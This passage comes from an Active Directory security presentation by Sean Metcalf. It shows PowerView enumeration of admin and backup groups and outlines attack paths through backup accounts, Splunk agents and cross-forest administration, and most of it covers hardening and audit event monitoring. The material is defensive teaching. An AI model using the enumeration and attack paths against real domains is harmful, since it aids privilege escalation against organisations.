<td>SelectiveAuthentication</td>
<td>True</td>
</tr>
<tr>
<td>SIDFilteringForestAware</td>
<td>False</td>
</tr>
<tr>
<td>SIDFilteringQuarantined</td>
<td>False</td>
</tr>
<tr>
<td>Source</td>
<td>DC=trimarcresearch,DC=com</td>
</tr>
<tr>
<td>Target</td>
<td>trd.priv</td>
</tr>
<tr>
<td>TGTDelegation</td>
<td>False</td>
</tr>
<tr>
<td>TrustAttributes</td>
<td>24</td>
</tr>
<tr>
<td>TrustedPolicy</td>
<td></td>
</tr>
<tr>
<td>TrustingPolicy</td>
<td></td>
</tr>
<tr>
<td>TrustType</td>
<td>Uplevel</td>
</tr>
<tr>
<td>UplevelOnly</td>
<td>False</td>
</tr>
<tr>
<td>UsesAESKeys</td>
<td>False</td>
</tr>
<tr>
<td>UsesRC4Encryption</td>
<td>False</td>
</tr>
</tbody>
</table>

SeanMetcalf (@PyroTek3) TrimarcSecurity.com
Admin Forest Discovery Forest Discovery

Get-NetGroupMember -GroupName 'Administrators' | Where {$_._MemberDN -like "*Foreign*"}
WARNING: Error converting CN=S-1-5-21-1829685036-2228132301-246105558-1602,CN=ForeignSecurityPrincipals,DC=trimarcresearch,DC=com

GroupDomain : trimarcresearch.com
GroupName : Administrators
MemberDomain :
MemberName : TRDPRIV\TRD AD Admins
MemberSID : S-1-5-21-1829685036-2228132301-246105558-1602
IsGroup : False
MemberDN : S-1-5-21-1829685036-2228132301-246105558-1602,CN=ForeignSecurityPrincipals,DC=trimarcresearch,DC=com
Exploiting Domain Controller Agents

```
PS C:\> Get-NetGroupMember 'Backup Operators'

GroupDomain : trimarcresearch.com
GroupName : Backup Operators
MemberDomain : trimarcresearch.com
MemberName : BACKUP01$
MemberSID : S-1-5-21-3016599413-5826416028-81522354-19603
IsGroup : False
MemberDN : CN=Backup01,OU=Backup,OU=Servers,DC=trimarcresearch,DC=com

GroupDomain : trimarcresearch.com
GroupName : Backup Operators
MemberDomain : trimarcresearch.com
MemberName : BackupAD
MemberSID : S-1-5-21-3016599413-5826416028-81522354-19602
IsGroup : False
MemberDN : CN=BackupAD,CN=Users,DC=trimarcresearch,DC=com
```
Exploiting Domain Controller Agents

• **Backup01** is a backup server with AD Backup rights.
• **BackupAD** is the AD backup service account.

*Compromise one to gain Domain Controller access.*
Did You Know?

• The Splunk Universal Forwarder is often installed on Domain Controllers.
• The Splunk UF is effectively a mini version of Splunk and can run scripts.

The Deployment Server

Splunk’s configuration control system, can potentially run arbitrary commands on systems through scripted inputs.

This and a Universal Forwarder running as root/system can easily take over an environment

Exploiting Prod AD with an AD Admin Forest

- Deployments often ignore the primary production AD since focus is on AD admins moved to the Admin Forest.
- Doesn’t fix production AD security issues.
- Doesn’t resolve expansive rights over workstations & servers.
- Often ignores production AD service accounts.
- Agents on Domain Controllers are a target – who has admin access?
- Identify systems that connect to DCs with privileged credentials on DCs (backup accounts).
Cross-Forest Administration

Forest A Domain Admin Account

Trust

Forest B

Result:
Full Compromise of the Production Active Directory
Cross-Forest Administration

• Production (Forest A) <--one-way--trust---- External (Forest B)
• Production forest AD admins manage the External forest.
• External forest administration is done via RDP.
• Production forest admin creds end up on systems in the External forest.
• Attacker compromises External to compromise Production AD.

Mitigation:
• Manage External forest with External admin accounts.
• Use non-privileged Production forest accounts with External admin rights.
Building the Best Defenses

Securing Active Directory Administration

Photo by DAVID ILIFF. License: CC-BY-SA 3.0
AD Defensive Pillars

1. Administrative Credential Isolation & Protection
2. Hardening Administrative Methods
3. Reducing & Limiting Service Account Rights
4. Effective Monitoring

Sean Metcalf (@PyroTek3) TrimarcSecurity.com
Administrative Credential Isolation & Protection

• Focus on protecting admin credentials.
• Separate AD admin account from user account.
• Separate AD admin account from other admin accounts.
• Use distinct naming - examples:
  • ADA – AD Admins
  • SA – Server Admins
  • WA – Workstation Admins
• Ensure AD admin accounts only logon to secured systems
  • AD Admin Workstations
  • AD Admin Servers
  • Domain Controllers
Why Admin Workstations?

• The battle has moved from the perimeter to workstations on the network.

• Management of regular workstations provides a common escalation path.

• Credentials found on workstations are often used to elevate privileges.

• Builds on the concept of separate accounts for user activities and administrative tasks.

Keep in mind that any agent that can install/run code typically has Admin/System rights to the computer.
Why Admin Workstations?

SwiftOnSecurity
@SwiftOnSecurity

Funny how all the ransomware stories in the news didn’t impact employees who weren’t on the VPN.

Your users are safer __________ at McDonalds than connecting to most of your _____ enterprise networks.

6:20 PM - 5 Feb 2019
Hardening Administrative Methods

• AD Administration Systems:
  • Isolate and protect privileged credentials.
  • Provide a secure environment for admins to perform required privileged tasks.
  • Disrupt the common attack playbook.
Hardening Administrative Methods

• System Configuration:
  • Only admin accounts can logon (though with no admin rights)
  • Separate administration
  • Separate management/patching from other systems
  • Auto-patching
  • Firewalled from the network, only allowing specific admin comms
  • Restrict access to management protocols (RDP, WMI, WinRM, etc)
  • Enforce Network Level Authentication (NLA) for all RDP connections.

• Leverage MFA where possible for additional administration security (typically used for RDP to Admin Server).
Hardening Administrative Methods

https://docs.microsoft.com/en-us/windows-server/identity/securing-privileged-access/securing-privileged-access-reference-material
Hardening Administrative Methods

https://docs.microsoft.com/en-us/windows-server/identity/securing-privileged-access/securing-privileged-access-reference-material
Hardening Administrative Methods

Microsoft Tier Model:
• Difficult and costly to implement.
• Duplicates infrastructure & admin accounts.
• Rarely fully implemented.
• Focus on Tier 0 (Domain Controllers and AD Admins first).
Hardening Administrative Methods

Microsoft Tier Model: What is Tier 0?

- Domain Controllers
- Privileged AD Accounts & Systems
  - AD Admins
  - Service accounts
  - AD Admin workstations & server
- ADFS & Federation Servers
- Azure AD Connect Servers (when synchronizing password hash data)
- PKI infrastructure
- Password vault systems that contain/control AD admin credentials
- Tier 0 management systems
Admin Systems: Convincing Admins

• Admins that are typically mobile and use a laptop will likely require a 2nd laptop.

• Admins are less than excited when told they have to use separate systems for administration.

• The people most impacted are the ones who have to implement.

• Use this opportunity to refresh admin hardware

• There are several options for small, lightweight laptop and supports all Windows 10 security features (Microsoft Surface devices)

• Explain that admin workstations are now a requirement to protect computer systems (& creds on the system).

• Isolating & protecting admin credentials is critical or AD will be owned.

Sean Metcalf (@PyroTek3) TrimarcSecurity.com
Admin Systems: Convincing Management

• Isolating & protecting admin credentials is critical.
• Admin systems and new security controls like MFA are now required.
• These systems and controls will slow resolution of issues, but will also slow/stop attackers.
• The cost of extra hardware and additional operations time is much cheaper than recovering from a breach (IR = $$$).
• Start slow and build up with gradual changes.
• Collaboration & Partnering of All Teams Involved is Important.
A Workable Admin System

• Separate physical devices are best, but not always feasible.
• Goal is to isolate admin credentials.
• Start with an admin workstation that leverages virtualization for a good blend of security and operational ability.
A Workable Admin System

• Host OS is the “admin environment”
• “User environment” is a VM on the system – no admin accounts or activities occur in this environment.
• Admin user only uses their user account to logon to the user VM.
• Admin user uses a “transition” account to logon to the host OS. This account has no admin rights and is the only one that logon to the host OS.
• Once on the Admin system, an AD admin account is used to RDP to Admin Server.

Sean Metcalf (@PyroTek3) TrimarcSecurity.com
A Workable Admin System

User Environment VM

“Regular User Account”

“Transition Account”

AD Admin Account

Admin Workstation

RDP

Admin Server

Sean Metcalf (@PyroTek3) TrimarcSecurity.com
A Workable Admin System

User Environment VM

"Regular User Account"

"Transition Account"

MFA:

Password Vault

HTTPS

RDP

Admin Server

Sean Metcalf (@PyroTek3) TrimarcSecurity.com
Admin Workstation Deployment

• Phase 1: Active Directory Admins
• Phase 2: Virtual Infrastructure Admins
• Phase 3: Cloud Admins
• Phase 4: Server Admins
• Phase 5: Workstation Admins

Note that these phases may be performed at the same time as others.

PKI & Mainframe Admins need Admin Workstations too!
Admin Workstation Deployment

• Phase 1: Active Directory Admins
• Phase 2: Virtual Infrastructure Admins
• Phase 3: Cloud Admins
• Phase 4: Server Admins
• Phase 5: Workstation Admins

Note that these phases may be performed at the same time as others.

*PKI & Mainframe Admins need Admin Workstations too!* 

Sean Metcalf (@PyroTek3) TrimarcSecurity.com
The new standard for AD Admins

• Only ever logon to:
  • Domain Controllers
  • AD Admin workstation
  • AD Admin servers

• AD Admin accounts are always separate from other administration.

• AD Admins are prevented from logging on to lower tier systems.

• No Service Accounts with AD Admin rights.

• Ensure all local Administrator accounts have unique passwords.
Reducing & Limiting Service Account Rights

• Service Accounts are almost always over-privileged
  • Vendor requirements
• Too often are members of AD admin groups
  • Domain Admins
  • Administrators
  • Backup Operators
  • Server Operators
• Rarely does a service account actually require Domain Admin level rights.
Product Permission Requirements

- Domain user access
- Operations systems access
- Mistaken identity – trust the installer
- AD object rights
- Install permissions on systems
- Needs System rights

- Active Directory privileged rights
- Domain permissions during install
- More access required than often needed.
- Initial start/run permissions
- Needs full AD rights

Sean Metcalf (@PyroTek3) TrimarcSecurity.com
Product Permission Requirements

• **D**omain user access
• **O**perations systems access
• **M**istaken identity – trust the installer
• **AD** object rights
• **I**nstall permissions on systems
• **N**eeds System rights

• **A**ctive Directory privileged rights
• **D**omain permissions during install
• **M**ore access required than often needed.
• **I**nitial start/run permissions
• **N**eeds full AD rights

Sean Metcalf (@PyroTek3) TrimarcSecurity.com
Common Service Accounts in Domain Admins

• Vulnerability Scanning Tool
  • Split scanning into different scan “buckets”
  • Workstations with a VulnScan-wrk service account
  • Servers with a VulnScan-srv service account
  • Domain Controllers with a VulnScan-DC service account.

• Backup
  • Move to the Backup Operators group which should provide the required rights.

• VPN
  • Delegate the appropriate rights (often only requires the ability to reset account passwords)

• SQL
  • There is never a good reason for a SQL service account to have privileged AD rights. Remove the account(s) from AD admin groups.
Traditional AD Administration must evolve with the threats to effectively protect Active Directory.

Most organizations have done "something" to better secure their environment, thought it’s often not enough.

**Priority #1:** Remove accounts & service accounts from AD privileged groups.

**Priority #2:** Protect & Isolate AD Admin credentials by ensuring the credentials are limited to specific systems.
BONUS CONTENT:

Effective Active Directory Monitoring Configuration
Effective Monitoring
Effective Monitoring

Policy

Audit policy subcategory settings

Setting

Enabled

Full Auditing Policy [ADSDC03.LAB.ADSECURITY.ORG] Policy

Computer Configuration

Policies

Software Settings

Windows Settings

Name Resolution Policy

Scripts (Startup/Shutdown)

Security Settings

Account Policies

Local Policies

Audit Policy

Policy

Audit account logon events

Policy Setting

Success, Failure

Audit account management

Success, Failure

Audit directory service access

Not Defined

Audit logon events

Success, Failure

Audit object access

Not Defined

Audit policy change

Not Defined

Audit privilege use

Success, Failure

Audit process tracking

Not Defined

Audit system events

Not Defined
Effective Monitoring

```
auditpol.exe /get /category:*
```

Sean Metcalf (@PyroTek3) TrimarcSecurity.com
Recommended DC Auditing

- **Account Logon**
  - Audit Credential Validation: S&F
  - Audit Kerberos Authentication Service: S&F
  - Audit Kerberos Service Ticket Operations: Success & Failure

- **Account Management**
  - Audit Computer Account Management: S&F
  - Audit Other Account Management Events: S&F
  - Audit Security Group Management: S&F
  - Audit User Account Management: S&F

- **Detailed Tracking**
  - Audit DPAPI Activity: S&F
  - Audit Process Creation: S&F

- **DS Access**
  - Audit Directory Service Access: S&F
  - Audit Directory Service Changes: S&F

- **Logon and Logoff**
  - Audit Account Lockout: Success
  - Audit Logoff: Success
  - Audit Logon: S&F
  - Audit Special Logon: Success & Failure

- **System**
  - Audit IPsec Driver : S&F
  - Audit Security State Change : S&F
  - Audit Security System Extension : S&F
  - Audit System Integrity : S&F

---

Sean Metcalf (@PyroTek3) TrimarcSecurity.com
Special Logon Auditing (Event ID 4964)

• Track logons to the system by members of specific groups (Win 7/2008 R2+)

• Events are logged on the system to which the user authenticates.

• HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa\Audit (Event ID 4908: updated table)
  • Local Accounts: S-1-5-113
  • Domain Admins: S-1-5-21-[DOMAIN]-512
  • Enterprise Admins: S-1-5-21-[FORESTROOTDOMAIN]-519
  • Custom Group: Create a new group
  • Administrators: S-1-5-32-544 (Could be noisy)

Audit Special Logon  Success and Failure

PS C:\> (get-adgroup 'domain admins').sid.value
S-1-5-21-1093224735-1015166391-1317194548-512
PS C:\> (get-adgroup 'enterprise admins').sid.value
S-1-5-21-1093224735-1015166391-1317194548-519
PS C:\> (get-adgroup 'special group auditing').sid.value
S-1-5-21-1093224735-1015166391-1317194548-3680

Registry

SpecialGroups (Order: 1)

HKEY_LOCAL_MACHINE
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa\Audit

SpecialGroups
REG_SZ
S-1-5-113:S-1-5-21-1093224735-1015166391-1317194548-512:S-1-5-21-1093224735-1015166391-1317194548-3680

Sean Metcalf (@PyroTek3) TrimarcSecurity.com
<table>
<thead>
<tr>
<th>EventID</th>
<th>Description</th>
<th>Impact</th>
</tr>
</thead>
<tbody>
<tr>
<td>4768</td>
<td>Kerberos auth ticket (TGT) was requested</td>
<td>Track user Kerb auth, with client/workstation name.</td>
</tr>
<tr>
<td>4769</td>
<td>User requests a Kerberos service ticket</td>
<td>Track user resource access requests &amp; Kerberoasting</td>
</tr>
<tr>
<td>4964</td>
<td>Custom Special Group logon tracking</td>
<td>Track admin &amp; “users of interest” logons</td>
</tr>
<tr>
<td>4625/4771</td>
<td>Logon failure</td>
<td>Interesting logon failures. 4771 with 0x18 = bad pw</td>
</tr>
<tr>
<td>4765/4766</td>
<td>SID History added to an account/attempt failed</td>
<td>If you aren’t actively migrating accounts between domains, this could be malicious</td>
</tr>
<tr>
<td>4794</td>
<td>DSRM account password change attempt</td>
<td>If this isn’t expected, could be malicious</td>
</tr>
<tr>
<td>4780</td>
<td>ACLs set on admin accounts</td>
<td>If this isn’t expected, could be malicious</td>
</tr>
<tr>
<td>4739/643</td>
<td>Domain Policy was changed</td>
<td>If this isn’t expected, could be malicious</td>
</tr>
<tr>
<td>4713/617</td>
<td>Kerberos policy was changed</td>
<td>If this isn’t expected, could be malicious</td>
</tr>
<tr>
<td>4724/628</td>
<td>Attempt to reset an account's password</td>
<td>Monitor for admin &amp; sensitive account pw reset</td>
</tr>
<tr>
<td>4735/639</td>
<td>Security-enabled local group changed</td>
<td>Monitor admin/sensitive group membership changes</td>
</tr>
<tr>
<td>4737/641</td>
<td>Security-enabled global group changed</td>
<td>Monitor admin/sensitive group membership changes</td>
</tr>
<tr>
<td>4755/659</td>
<td>Security-enabled universal group changed</td>
<td>Monitor admin &amp; sensitive group membership changes</td>
</tr>
<tr>
<td>5136</td>
<td>A directory service object was modified</td>
<td>Monitor for GPO changes, admin account modification, specific user attribute modification, etc.</td>
</tr>
</tbody>
</table>

Event IDs that Matter: Domain Controllers

Sean Metcalf (@PyroTek3) TrimarcSecurity.com
<table>
<thead>
<tr>
<th>Event ID</th>
<th>Description</th>
<th>Impact</th>
</tr>
</thead>
<tbody>
<tr>
<td>1102/517</td>
<td>Event log cleared</td>
<td>Attackers may clear Windows event logs.</td>
</tr>
<tr>
<td>4610/4611/4614/4622</td>
<td>Local Security Authority modification</td>
<td>Attackers may modify LSA for escalation/persistence.</td>
</tr>
<tr>
<td>4648</td>
<td>Explicit credential logon</td>
<td>Typically when a logged on user provides different credentials to access a resource. Requires filtering of “normal”.</td>
</tr>
<tr>
<td>4661</td>
<td>A handle to an object was requested</td>
<td>SAM/DSA Access. Requires filtering of “normal”.</td>
</tr>
<tr>
<td>4672</td>
<td>Special privileges assigned to new logon</td>
<td>Monitor when someone with admin rights logs on. Is this an account that should have admin rights or a normal user?</td>
</tr>
<tr>
<td>4723</td>
<td>Account password change attempted</td>
<td>If it’s not an approved/known pw change, you should know.</td>
</tr>
<tr>
<td>4964</td>
<td>Custom Special Group logon tracking</td>
<td>Track admin &amp; “users of interest” logons.</td>
</tr>
<tr>
<td>7045/4697</td>
<td>New service was installed</td>
<td>Attackers often install a new service for persistence.</td>
</tr>
<tr>
<td>4698 &amp; 4702</td>
<td>Scheduled task creation/modification</td>
<td>Attackers often create/modify scheduled tasks for persistence. Pull all events in Microsoft-Windows-TaskScheduler/Operational</td>
</tr>
<tr>
<td>4719/612</td>
<td>System audit policy was changed</td>
<td>Attackers may modify the system’s audit policy.</td>
</tr>
<tr>
<td>4732</td>
<td>A member was added to a (security-enabled) local group</td>
<td>Attackers may create a new local account &amp; add it to the local Administrators group.</td>
</tr>
<tr>
<td>4720</td>
<td>A (local) user account was created</td>
<td>Attackers may create a new local account for persistence.</td>
</tr>
</tbody>
</table>

Event IDs that Matter: All Windows systems

Sean Metcalf (@PyroTek3) TrimarcSecurity.com
<table>
<thead>
<tr>
<th>EventID</th>
<th>Description</th>
<th>Impact</th>
</tr>
</thead>
<tbody>
<tr>
<td>3065/3066</td>
<td>LSASS Auditing – checks for code integrity</td>
<td>Monitors LSA drivers &amp; plugins. Test extensively before deploying!</td>
</tr>
<tr>
<td>3033/3063</td>
<td>LSA Protection – drivers that failed to load</td>
<td>Monitors LSA drivers &amp; plugins &amp; blocks ones that aren’t properly signed.</td>
</tr>
<tr>
<td>4798</td>
<td>A user's local group membership was enumerated.</td>
<td>Potentially recon activity of local group membership. Filter out normal activity.</td>
</tr>
</tbody>
</table>

LSA Protection & Auditing (Windows 8.1/2012R2 and newer):

4798: A user's local group membership was enumerated (Windows 10/2016):
<table>
<thead>
<tr>
<th>Logon Type #</th>
<th>Name</th>
<th>Description</th>
<th>Creds on Disk</th>
<th>Creds in Memory</th>
<th>Distribution</th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td>System</td>
<td>Typically rare, but could alert to malicious activity</td>
<td>Yes</td>
<td>Yes</td>
<td>*</td>
</tr>
<tr>
<td>2</td>
<td>Interactive</td>
<td>Console logon (local keyboard) which includes server KVM or virtual client logon. Also standard RunAs.</td>
<td>No</td>
<td>Yes</td>
<td>#5 / 0%</td>
</tr>
<tr>
<td>3</td>
<td>Network</td>
<td>Accessing file shares, printers, IIS (integrated auth, etc), PowerShell remoting</td>
<td>No</td>
<td>No</td>
<td>#1 / ~80%</td>
</tr>
<tr>
<td>4</td>
<td>Batch</td>
<td>Scheduled tasks</td>
<td>Yes</td>
<td>Yes</td>
<td>#7 / 0%</td>
</tr>
<tr>
<td>5</td>
<td>Service</td>
<td>Services</td>
<td>Yes</td>
<td>Yes</td>
<td>#4 / &lt;1%</td>
</tr>
<tr>
<td>7</td>
<td>Unlock</td>
<td>Unlock the system</td>
<td>No</td>
<td>Yes</td>
<td>#6 / &lt;1%</td>
</tr>
<tr>
<td>8</td>
<td>Network Clear Text</td>
<td>Network logon with password in clear text (IIS basic auth). If over SSL/TLS, this is probably fine.</td>
<td>Maybe</td>
<td>Yes</td>
<td>#2 / ~15%</td>
</tr>
<tr>
<td>9</td>
<td>New Credentials</td>
<td>RunAs /NetOnly which starts a program with different credentials than logged on user</td>
<td>No</td>
<td>Yes</td>
<td>#3 / &lt; 1%</td>
</tr>
<tr>
<td>10</td>
<td>Remote Interactive</td>
<td>RDP: Terminal Services, Remote Assistance, R.Desktop</td>
<td>Maybe</td>
<td>Yes*</td>
<td>#9 / 0%</td>
</tr>
<tr>
<td>11</td>
<td>Cached Interactive</td>
<td>Logon with cached credentials (no DC online)</td>
<td>Yes</td>
<td>Yes</td>
<td>#8 / 0%</td>
</tr>
</tbody>
</table>

A Note About Logon Types (EventID 4624)

Sean Metcalf (@PyroTek3) TrimarcSecurity.com